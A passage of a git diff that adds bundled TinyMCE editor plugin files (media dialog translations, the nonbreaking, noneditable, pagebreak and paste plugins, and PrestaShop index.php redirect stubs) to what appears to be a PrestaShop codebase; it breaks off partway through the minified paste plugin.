s\u1edf",bgcolor:"N\u1ec1n",wmode:"WMode",salign:"SAlign",align:"Canh l\u1ec1",scale:"T\u1ec9 l\u1ec7",quality:"Ch\u1ea5t l\u01b0\u1ee3ng",shuffle:"Kh\u00f4ng theo tr\u1eadt t\u1ef1",prefetch:"T\u00ecm n\u1ea1p tr\u01b0\u1edbc",nojava:"Kh\u00f4ng c\u00f3 java",maintainaspect:"Duy tr\u00ec c\u1ea1nh",imagestatus:"Tr\u1ea1ng th\u00e1i \u1ea3nh",center:"Gi\u1eefa",autogotourl:"T\u1ef1 \u0111\u1ed9ng nh\u1ea3y t\u1edbi URL","shockwave_options":"T\u00f9y ch\u1ecdn Shockwave","rmp_options":"T\u00f9y ch\u1ecdn tr\u00ecnh ch\u01a1i media Real","wmp_options":"T\u00f9y ch\u1ecdn tr\u00ecnh ch\u01a1i media Windows","qt_options":"T\u00f9y ch\u1ecdn Quicktime","flash_options":"T\u00f9y ch\u1ecdn Flash",hidden:"\u1ea8n","align_bottom_left":"D\u01b0\u1edbi c\u00f9ng tr\u00e1i","align_bottom_right":"D\u01b0\u1edbi c\u00f9ng ph\u1ea3i","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/zh-cn_dlg.js b/js/tiny_mce2/plugins/media/langs/zh-cn_dlg.js new file mode 100755 index 0000000..273a48f --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.media_dlg',{list:"\u5217\u8868",file:"\u6587\u4ef6/URL",advanced:"\u9ad8\u7ea7",general:"\u666e\u901a",title:"\u63d2\u5165/\u7f16\u8f91 \u5d4c\u5165\u5f0f\u5a92\u4f53","align_top_left":"\u5de6\u4e0a","align_center":"\u5c45\u4e2d","align_left":"\u5c45\u5de6","align_bottom":"\u5c45\u4e0b","align_right":"\u5c45\u53f3","align_top":"\u5c45\u4e0a","qt_stream_warn":"\u6d41\u5a92\u4f53RTSP\u8d44\u6e90\u5e94\u6dfb\u52a0\u5230\u9ad8\u7ea7\u9009\u9879\u7684QT\u8d44\u6e90\u4e2d\u3002n\u540c\u65f6\uff0c\u60a8\u4e5f\u53ef\u4ee5\u5728\u8fd9\u91cc\u52a0\u5165\u4e00\u4e2a\u975e\u6d41\u5a92\u4f53\u3002",qtsrc:"QT\u8d44\u6e90",progress:"\u8fdb\u5ea6",sound:"\u58f0\u97f3",swstretchvalign:"\u5782\u76f4\u62c9\u4f38",swstretchhalign:"\u6c34\u5e73\u62c9\u4f38",swstretchstyle:"\u62c9\u4f38\u65b9\u5f0f",scriptcallbacks:"\u811a\u672c\u56de\u8c03","align_top_right":"\u53f3\u4e0a",uimode:"\u5916\u89c2\u6a21\u5f0f",rate:"\u6bd4\u7387",playcount:"\u64ad\u653e\u6b21\u6570",defaultframe:"\u9ed8\u8ba4\u5e27",currentposition:"\u5f53\u524d\u4f4d\u7f6e",currentmarker:"\u5f53\u524d\u6807\u8bb0",captioningid:"\u5b57\u5e55ID",baseurl:"\u57fa\u7840\u8def\u5f84",balance:"\u5e73\u8861",windowlessvideo:"\u65e0\u8fb9\u6846",stretchtofit:"\u62c9\u4f38\u5230\u9002\u5408",mute:"\u9759\u97f3",invokeurls:"\u5f15\u7528URL",fullscreen:"\u5168\u5c4f",enabled:"\u542f\u7528",autostart:"\u81ea\u52a8\u64ad\u653e",volume:"\u97f3\u91cf",target:"\u76ee\u6807",qtsrcchokespeed:"\u9650\u5236\u901f\u5ea6",href:"\u8d85\u94fe\u63a5",endtime:"\u7ed3\u675f\u65f6\u95f4",starttime:"\u5f00\u59cb\u65f6\u95f4",enablejavascript:"\u542f\u7528JavaScript",correction:"\u65e0\u4fee\u6b63",targetcache:"\u76ee\u6807\u7f13\u5b58",playeveryframe:"\u9010\u5e27\u64ad\u653e",kioskmode:"\u5168\u5c4f\u6a21\u5f0f",controller:"\u63a7\u5236\u53f0",menu:"\u663e\u793a\u83dc\u5355",loop:"\u5faa\u73af",play:"\u81ea\u52a8\u64ad\u653e",hspace:"\u6c34\u5e73\u8ddd\u79bb",vspace:"\u5782\u76f4\u8ddd\u79bb","class_name":"\u7c7b\u522b",name:"\u540d\u79f0",id:"ID",type:"\u7c7b\u578b",size:"\u5c3a\u5bf8",preview:"\u9884\u89c8","constrain_proportions":"\u4fdd\u6301\u6bd4\u4f8b",controls:"\u64ad\u653e\u63a7\u5236",numloop:"\u5faa\u73af\u6b21\u6570",console:"\u63a7\u5236\u53f0",cache:"\u7f13\u5b58",autohref:"\u81ea\u52a8\u8df3\u8f6c",liveconnect:"JavaScript\u5f00\u542f",flashvars:"Flash\u53d8\u91cf",base:"\u57fa\u7840\u8def\u5f84",bgcolor:"\u80cc\u666f",wmode:"\u7a97\u4f53\u6a21\u5f0f",salign:"\u5a92\u4f53\u5bf9\u9f50",align:"\u6587\u672c\u5bf9\u9f50",scale:"\u7f29\u653e",quality:"\u753b\u8d28",shuffle:"\u968f\u673a",prefetch:"\u9884\u52a0\u8f7d",nojava:"\u65e0java",maintainaspect:"\u4fdd\u6301\u5916\u89c2",imagestatus:"\u56fe\u7247\u72b6\u6001",center:"\u5c45\u4e2d",autogotourl:"\u81ea\u52a8\u8f6c\u5230URL","shockwave_options":"Shockwave\u9009\u9879","rmp_options":"Real media player\u9009\u9879","wmp_options":"Windows media player\u9009\u9879","qt_options":"Quicktime\u9009\u9879","flash_options":"Flash\u9009\u9879",hidden:"\u9690\u85cf","align_bottom_left":"\u5de6\u4e0b","align_bottom_right":"\u53f3\u4e0b","html5_video_options":"HTML5\u89c6\u9891\u9009\u9879",altsource1:"\u66ff\u4ee3\u8d44\u6e901",altsource2:"\u66ff\u4ee3\u8d44\u6e902",preload:"\u9884\u52a0\u8f7d",poster:"\u6d77\u62a5",source:"\u8d44\u6e90","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/zh-tw_dlg.js b/js/tiny_mce2/plugins/media/langs/zh-tw_dlg.js new file mode 100755 index 0000000..da608d4 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.media_dlg',{"qt_stream_warn":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",source:"\u5d4c\u5165\u539f\u59cb\u6a94",list:"List",file:"File/URL",advanced:"Advanced",general:"General",title:"Insert/Edit Embedded Media","align_top_left":"Top Left","align_center":"Center","align_left":"Left","align_bottom":"Bottom","align_right":"Right","align_top":"Top",qtsrc:"QT Source",progress:"Progress",sound:"Sound",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch Style",scriptcallbacks:"Script Callbacks","align_top_right":"Top Right",uimode:"UI Mode",rate:"Rate",playcount:"Play Count",defaultframe:"Default Frame",currentposition:"Current Position",currentmarker:"Current Marker",captioningid:"Captioning ID",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Windowless Video",stretchtofit:"Stretch to Fit",mute:"Mute",invokeurls:"Invoke URLs",fullscreen:"Full Screen",enabled:"Enabled",autostart:"Auto Start",volume:"Volume",target:"Target",qtsrcchokespeed:"Choke Speed",href:"HREF",endtime:"End Time",starttime:"Start Time",enablejavascript:"Enable JavaScript",correction:"No Correction",targetcache:"Target Cache",playeveryframe:"Play Every Frame",kioskmode:"Kiosk Mode",controller:"Controller",menu:"Show Menu",loop:"Loop",play:"Auto Play",hspace:"H-Space",vspace:"V-Space","class_name":"Class",name:"Name",id:"ID",type:"Type",size:"Dimensions",preview:"Preview","constrain_proportions":"Constrain Proportions",controls:"Controls",numloop:"Num Loops",console:"Console",cache:"Cache",autohref:"Auto HREF",liveconnect:"SWLiveConnect",flashvars:"Flash Vars",base:"Base",bgcolor:"Background",wmode:"WMode",salign:"SAlign",align:"Align",scale:"Scale",quality:"Quality",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No Java",maintainaspect:"Maintain Aspect",imagestatus:"Image Status",center:"Center",autogotourl:"Auto Goto URL","shockwave_options":"Shockwave Options","rmp_options":"Real Media Player Options","wmp_options":"Windows Media Player Options","qt_options":"QuickTime Options","flash_options":"Flash Options",hidden:"Hidden","align_bottom_left":"Bottom Left","align_bottom_right":"Bottom Right","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/media.htm b/js/tiny_mce2/plugins/media/media.htm new file mode 100755 index 0000000..50efe91 --- /dev/null +++ b/js/tiny_mce2/plugins/media/media.htm @@ -0,0 +1,922 @@ + + + + {#media_dlg.title} + + + + + + + + + +
    + + +
    +
    +
    + {#media_dlg.general} + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + +
     
    +
    + + + + + + +
    x   
    +
    +
    + +
    + {#media_dlg.preview} + +
    +
    + +
    +
    + {#media_dlg.advanced} + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + +
     
    +
    +
    + +
    + {#media_dlg.html5_video_options} + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
     
    +
    + + + + + +
     
    +
    + + + + + +
     
    +
    + +
    + + + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +
    + +
    + {#media_dlg.embedded_audio_options} + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +
    + +
    + {#media_dlg.html5_audio_options} + + + + + + + + + + + + + + + + +
    + + + + + +
     
    +
    + + + + + +
     
    +
    + +
    + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +
    + +
    + {#media_dlg.flash_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + +
    + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + + + + + + + +
    +
    + +
    + {#media_dlg.qt_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +  
    + + + + + +
     
    +
    +
    + +
    + {#media_dlg.wmp_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +
    + +
    + {#media_dlg.rmp_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +   +
    +
    + +
    + {#media_dlg.shockwave_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +
    +
    + +
    +
    + {#media_dlg.source} + +
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/media/moxieplayer.swf b/js/tiny_mce2/plugins/media/moxieplayer.swf new file mode 100755 index 0000000..585d772 Binary files /dev/null and b/js/tiny_mce2/plugins/media/moxieplayer.swf differ diff --git a/js/tiny_mce2/plugins/nonbreaking/editor_plugin.js b/js/tiny_mce2/plugins/nonbreaking/editor_plugin.js new file mode 100755 index 0000000..687f548 --- /dev/null +++ b/js/tiny_mce2/plugins/nonbreaking/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.Nonbreaking",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceNonBreaking",function(){a.execCommand("mceInsertContent",false,(a.plugins.visualchars&&a.plugins.visualchars.state)?' ':" ")});a.addButton("nonbreaking",{title:"nonbreaking.nonbreaking_desc",cmd:"mceNonBreaking"});if(a.getParam("nonbreaking_force_tab")){a.onKeyDown.add(function(d,f){if(f.keyCode==9){f.preventDefault();d.execCommand("mceNonBreaking");d.execCommand("mceNonBreaking");d.execCommand("mceNonBreaking")}})}},getInfo:function(){return{longname:"Nonbreaking space",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/nonbreaking",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("nonbreaking",tinymce.plugins.Nonbreaking)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/nonbreaking/editor_plugin_src.js b/js/tiny_mce2/plugins/nonbreaking/editor_plugin_src.js new file mode 100755 index 0000000..0a048b3 --- /dev/null +++ b/js/tiny_mce2/plugins/nonbreaking/editor_plugin_src.js @@ -0,0 +1,54 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.Nonbreaking', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + // Register commands + ed.addCommand('mceNonBreaking', function() { + ed.execCommand('mceInsertContent', false, (ed.plugins.visualchars && ed.plugins.visualchars.state) ? ' ' : ' '); + }); + + // Register buttons + ed.addButton('nonbreaking', {title : 'nonbreaking.nonbreaking_desc', cmd : 'mceNonBreaking'}); + + if (ed.getParam('nonbreaking_force_tab')) { + ed.onKeyDown.add(function(ed, e) { + if (e.keyCode == 9) { + e.preventDefault(); + + ed.execCommand('mceNonBreaking'); + ed.execCommand('mceNonBreaking'); + ed.execCommand('mceNonBreaking'); + } + }); + } + }, + + getInfo : function() { + return { + longname : 'Nonbreaking space', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/nonbreaking', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + + // Private methods + }); + + // Register plugin + tinymce.PluginManager.add('nonbreaking', tinymce.plugins.Nonbreaking); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/nonbreaking/index.php b/js/tiny_mce2/plugins/nonbreaking/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/nonbreaking/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/noneditable/editor_plugin.js b/js/tiny_mce2/plugins/noneditable/editor_plugin.js new file mode 100755 index 0000000..2d60138 --- /dev/null +++ b/js/tiny_mce2/plugins/noneditable/editor_plugin.js @@ -0,0 +1 @@ +(function(){var a=tinymce.dom.Event;tinymce.create("tinymce.plugins.NonEditablePlugin",{init:function(d,e){var f=this,c,b,g;f.editor=d;c=d.getParam("noneditable_editable_class","mceEditable");b=d.getParam("noneditable_noneditable_class","mceNonEditable");d.onNodeChange.addToTop(function(i,h,l){var k,j;k=i.dom.getParent(i.selection.getStart(),function(m){return i.dom.hasClass(m,b)});j=i.dom.getParent(i.selection.getEnd(),function(m){return i.dom.hasClass(m,b)});if(k||j){g=1;f._setDisabled(1);return false}else{if(g==1){f._setDisabled(0);g=0}}})},getInfo:function(){return{longname:"Non editable elements",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/noneditable",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_block:function(c,d){var b=d.keyCode;if((b>32&&b<41)||(b>111&&b<124)){return}return a.cancel(d)},_setDisabled:function(d){var c=this,b=c.editor;tinymce.each(b.controlManager.controls,function(e){e.setDisabled(d)});if(d!==c.disabled){if(d){b.onKeyDown.addToTop(c._block);b.onKeyPress.addToTop(c._block);b.onKeyUp.addToTop(c._block);b.onPaste.addToTop(c._block);b.onContextMenu.addToTop(c._block)}else{b.onKeyDown.remove(c._block);b.onKeyPress.remove(c._block);b.onKeyUp.remove(c._block);b.onPaste.remove(c._block);b.onContextMenu.remove(c._block)}c.disabled=d}}});tinymce.PluginManager.add("noneditable",tinymce.plugins.NonEditablePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/noneditable/editor_plugin_src.js b/js/tiny_mce2/plugins/noneditable/editor_plugin_src.js new file mode 100755 index 0000000..47b8a3b --- /dev/null +++ b/js/tiny_mce2/plugins/noneditable/editor_plugin_src.js @@ -0,0 +1,95 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var Event = tinymce.dom.Event; + + tinymce.create('tinymce.plugins.NonEditablePlugin', { + init : function(ed, url) { + var t = this, editClass, nonEditClass, state; + + t.editor = ed; + editClass = ed.getParam("noneditable_editable_class", "mceEditable"); + nonEditClass = ed.getParam("noneditable_noneditable_class", "mceNonEditable"); + + ed.onNodeChange.addToTop(function(ed, cm, n) { + var sc, ec; + + // Block if start or end is inside a non editable element + sc = ed.dom.getParent(ed.selection.getStart(), function(n) { + return ed.dom.hasClass(n, nonEditClass); + }); + + ec = ed.dom.getParent(ed.selection.getEnd(), function(n) { + return ed.dom.hasClass(n, nonEditClass); + }); + + // Block or unblock + if (sc || ec) { + state = 1; + t._setDisabled(1); + return false; + } else if (state == 1) { + t._setDisabled(0); + state = 0; + } + }); + }, + + getInfo : function() { + return { + longname : 'Non editable elements', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/noneditable', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + _block : function(ed, e) { + var k = e.keyCode; + + // Don't block arrow keys, pg up/down, and F1-F12 + if ((k > 32 && k < 41) || (k > 111 && k < 124)) + return; + + return Event.cancel(e); + }, + + _setDisabled : function(s) { + var t = this, ed = t.editor; + + tinymce.each(ed.controlManager.controls, function(c) { + c.setDisabled(s); + }); + + if (s !== t.disabled) { + if (s) { + ed.onKeyDown.addToTop(t._block); + ed.onKeyPress.addToTop(t._block); + ed.onKeyUp.addToTop(t._block); + ed.onPaste.addToTop(t._block); + ed.onContextMenu.addToTop(t._block); + } else { + ed.onKeyDown.remove(t._block); + ed.onKeyPress.remove(t._block); + ed.onKeyUp.remove(t._block); + ed.onPaste.remove(t._block); + ed.onContextMenu.remove(t._block); + } + + t.disabled = s; + } + } + }); + + // Register plugin + tinymce.PluginManager.add('noneditable', tinymce.plugins.NonEditablePlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/noneditable/index.php b/js/tiny_mce2/plugins/noneditable/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/noneditable/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/pagebreak/editor_plugin.js b/js/tiny_mce2/plugins/pagebreak/editor_plugin.js new file mode 100755 index 0000000..35085e8 --- /dev/null +++ b/js/tiny_mce2/plugins/pagebreak/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.PageBreakPlugin",{init:function(b,d){var f='',a="mcePageBreak",c=b.getParam("pagebreak_separator",""),e;e=new RegExp(c.replace(/[\?\.\*\[\]\(\)\{\}\+\^\$\:]/g,function(g){return"\\"+g}),"g");b.addCommand("mcePageBreak",function(){b.execCommand("mceInsertContent",0,f)});b.addButton("pagebreak",{title:"pagebreak.desc",cmd:a});b.onInit.add(function(){if(b.theme.onResolveName){b.theme.onResolveName.add(function(g,h){if(h.node.nodeName=="IMG"&&b.dom.hasClass(h.node,a)){h.name="pagebreak"}})}});b.onClick.add(function(g,h){h=h.target;if(h.nodeName==="IMG"&&g.dom.hasClass(h,a)){g.selection.select(h)}});b.onNodeChange.add(function(h,g,i){g.setActive("pagebreak",i.nodeName==="IMG"&&h.dom.hasClass(i,a))});b.onBeforeSetContent.add(function(g,h){h.content=h.content.replace(e,f)});b.onPostProcess.add(function(g,h){if(h.get){h.content=h.content.replace(/]+>/g,function(i){if(i.indexOf('class="mcePageBreak')!==-1){i=c}return i})}})},getInfo:function(){return{longname:"PageBreak",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/pagebreak",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("pagebreak",tinymce.plugins.PageBreakPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/pagebreak/editor_plugin_src.js b/js/tiny_mce2/plugins/pagebreak/editor_plugin_src.js new file mode 100755 index 0000000..fc3b3b4 --- /dev/null +++ b/js/tiny_mce2/plugins/pagebreak/editor_plugin_src.js @@ -0,0 +1,74 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.PageBreakPlugin', { + init : function(ed, url) { + var pb = '', cls = 'mcePageBreak', sep = ed.getParam('pagebreak_separator', ''), pbRE; + + pbRE = new RegExp(sep.replace(/[\?\.\*\[\]\(\)\{\}\+\^\$\:]/g, function(a) {return '\\' + a;}), 'g'); + + // Register commands + ed.addCommand('mcePageBreak', function() { + ed.execCommand('mceInsertContent', 0, pb); + }); + + // Register buttons + ed.addButton('pagebreak', {title : 'pagebreak.desc', cmd : cls}); + + ed.onInit.add(function() { + if (ed.theme.onResolveName) { + ed.theme.onResolveName.add(function(th, o) { + if (o.node.nodeName == 'IMG' && ed.dom.hasClass(o.node, cls)) + o.name = 'pagebreak'; + }); + } + }); + + ed.onClick.add(function(ed, e) { + e = e.target; + + if (e.nodeName === 'IMG' && ed.dom.hasClass(e, cls)) + ed.selection.select(e); + }); + + ed.onNodeChange.add(function(ed, cm, n) { + cm.setActive('pagebreak', n.nodeName === 'IMG' && ed.dom.hasClass(n, cls)); + }); + + ed.onBeforeSetContent.add(function(ed, o) { + o.content = o.content.replace(pbRE, pb); + }); + + ed.onPostProcess.add(function(ed, o) { + if (o.get) + o.content = o.content.replace(/]+>/g, function(im) { + if (im.indexOf('class="mcePageBreak') !== -1) + im = sep; + + return im; + }); + }); + }, + + getInfo : function() { + return { + longname : 'PageBreak', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/pagebreak', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('pagebreak', tinymce.plugins.PageBreakPlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/pagebreak/index.php b/js/tiny_mce2/plugins/pagebreak/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/pagebreak/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/editor_plugin.js b/js/tiny_mce2/plugins/paste/editor_plugin.js new file mode 100755 index 0000000..e47a5c6 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/editor_plugin.js @@ -0,0 +1 @@ +(function(){var c=tinymce.each,a={paste_auto_cleanup_on_paste:true,paste_enable_default_filters:true,paste_block_drop:false,paste_retain_style_properties:"none",paste_strip_class_attributes:"mso",paste_remove_spans:false,paste_remove_styles:false,paste_remove_styles_if_webkit:true,paste_convert_middot_lists:true,paste_convert_headers_to_strong:false,paste_dialog_width:"450",paste_dialog_height:"400",paste_text_use_dialog:false,paste_text_sticky:false,paste_text_sticky_default:false,paste_text_notifyalways:false,paste_text_linebreaktype:"combined",paste_text_replacements:[[/\u2026/g,"..."],[/[\x93\x94\u201c\u201d]/g,'"'],[/[\x60\x91\x92\u2018\u2019]/g,"'"]]};function b(d,e){return d.getParam(e,a[e])}tinymce.create("tinymce.plugins.PastePlugin",{init:function(d,e){var f=this;f.editor=d;f.url=e;f.onPreProcess=new tinymce.util.Dispatcher(f);f.onPostProcess=new tinymce.util.Dispatcher(f);f.onPreProcess.add(f._preProcess);f.onPostProcess.add(f._postProcess);f.onPreProcess.add(function(i,j){d.execCallback("paste_preprocess",i,j)});f.onPostProcess.add(function(i,j){d.execCallback("paste_postprocess",i,j)});d.onKeyDown.addToTop(function(i,j){if(((tinymce.isMac?j.metaKey:j.ctrlKey)&&j.keyCode==86)||(j.shiftKey&&j.keyCode==45)){return false}});d.pasteAsPlainText=b(d,"paste_text_sticky_default");function h(l,j){var k=d.dom,i;f.onPreProcess.dispatch(f,l);l.node=k.create("div",0,l.content);if(tinymce.isGecko){i=d.selection.getRng(true);if(i.startContainer==i.endContainer&&i.startContainer.nodeType==3){if(l.node.childNodes.length===1&&/^(p|h[1-6]|pre)$/i.test(l.node.firstChild.nodeName)&&l.content.indexOf("__MCE_ITEM__")===-1){k.remove(l.node.firstChild,true)}}}f.onPostProcess.dispatch(f,l);l.content=d.serializer.serialize(l.node,{getInner:1,forced_root_block:""});if((!j)&&(d.pasteAsPlainText)){f._insertPlainText(l.content);if(!b(d,"paste_text_sticky")){d.pasteAsPlainText=false;d.controlManager.setActive("pastetext",false)}}else{f._insert(l.content)}}d.addCommand("mceInsertClipboardContent",function(i,j){h(j,true)});if(!b(d,"paste_text_use_dialog")){d.addCommand("mcePasteText",function(j,i){var k=tinymce.util.Cookie;d.pasteAsPlainText=!d.pasteAsPlainText;d.controlManager.setActive("pastetext",d.pasteAsPlainText);if((d.pasteAsPlainText)&&(!k.get("tinymcePasteText"))){if(b(d,"paste_text_sticky")){d.windowManager.alert(d.translate("paste.plaintext_mode_sticky"))}else{d.windowManager.alert(d.translate("paste.plaintext_mode"))}if(!b(d,"paste_text_notifyalways")){k.set("tinymcePasteText","1",new Date(new Date().getFullYear()+1,12,31))}}})}d.addButton("pastetext",{title:"paste.paste_text_desc",cmd:"mcePasteText"});d.addButton("selectall",{title:"paste.selectall_desc",cmd:"selectall"});function g(s){var l,p,j,t,k=d.selection,o=d.dom,q=d.getBody(),i,r;if(s.clipboardData||o.doc.dataTransfer){r=(s.clipboardData||o.doc.dataTransfer).getData("Text");if(d.pasteAsPlainText){s.preventDefault();h({content:o.encode(r).replace(/\r?\n/g,"
    ")});return}}if(o.get("_mcePaste")){return}l=o.add(q,"div",{id:"_mcePaste","class":"mcePaste","data-mce-bogus":"1"},"\uFEFF\uFEFF");if(q!=d.getDoc().body){i=o.getPos(d.selection.getStart(),q).y}else{i=q.scrollTop+o.getViewPort(d.getWin()).y}o.setStyles(l,{position:"absolute",left:tinymce.isGecko?-40:0,top:i-25,width:1,height:1,overflow:"hidden"});if(tinymce.isIE){t=k.getRng();j=o.doc.body.createTextRange();j.moveToElementText(l);j.execCommand("Paste");o.remove(l);if(l.innerHTML==="\uFEFF\uFEFF"){d.execCommand("mcePasteWord");s.preventDefault();return}k.setRng(t);k.setContent("");setTimeout(function(){h({content:l.innerHTML})},0);return tinymce.dom.Event.cancel(s)}else{function m(n){n.preventDefault()}o.bind(d.getDoc(),"mousedown",m);o.bind(d.getDoc(),"keydown",m);p=d.selection.getRng();l=l.firstChild;j=d.getDoc().createRange();j.setStart(l,0);j.setEnd(l,2);k.setRng(j);window.setTimeout(function(){var u="",n;if(!o.select("div.mcePaste > div.mcePaste").length){n=o.select("div.mcePaste");c(n,function(w){var 